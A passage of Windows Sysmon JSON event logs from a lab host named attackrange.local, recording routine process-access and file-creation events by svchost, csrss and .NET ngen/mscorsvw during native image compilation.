C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.307","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010A46F1000}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8163,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.354\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F8-5F2D-0000-0010D1C60E00}\r\nTargetProcessId: 584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.354","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F8-5F2D-0000-0010D1C60E00}","TargetProcessId":"584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8164,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.354\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F8-5F2D-0000-0010D1C60E00}\r\nTargetProcessId: 584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.354","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F8-5F2D-0000-0010D1C60E00}","TargetProcessId":"584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8165,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.370\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-00100D731000}\r\nTargetProcessId: 584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.370","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-00100D731000}","TargetProcessId":"584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8166,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:59.401\r\nProcessGuid: {90617006-432F-5F2D-0000-00100D731000}\r\nProcessId: 584\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\248-0\\System.Xml.Serialization.dll\r\nCreationUtcTime: 2020-08-07 12:03:59.401","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:59.401","ProcessGuid":"{90617006-432F-5F2D-0000-00100D731000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\248-0\\System.Xml.Serialization.dll","CreationUtcTime":"2020-08-07 12:03:59.401","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8167,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.432\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-001018761000}\r\nTargetProcessId: 4904\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.432","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-001018761000}","TargetProcessId":"4904","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8168,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.447\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-001018761000}\r\nTargetProcessId: 4904\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.447","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-001018761000}","TargetProcessId":"4904","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8169,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.447\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-001018761000}\r\nTargetProcessId: 4904\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.447","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-001018761000}","TargetProcessId":"4904","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8170,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.510\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010EE791000}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.510","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010EE791000}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NE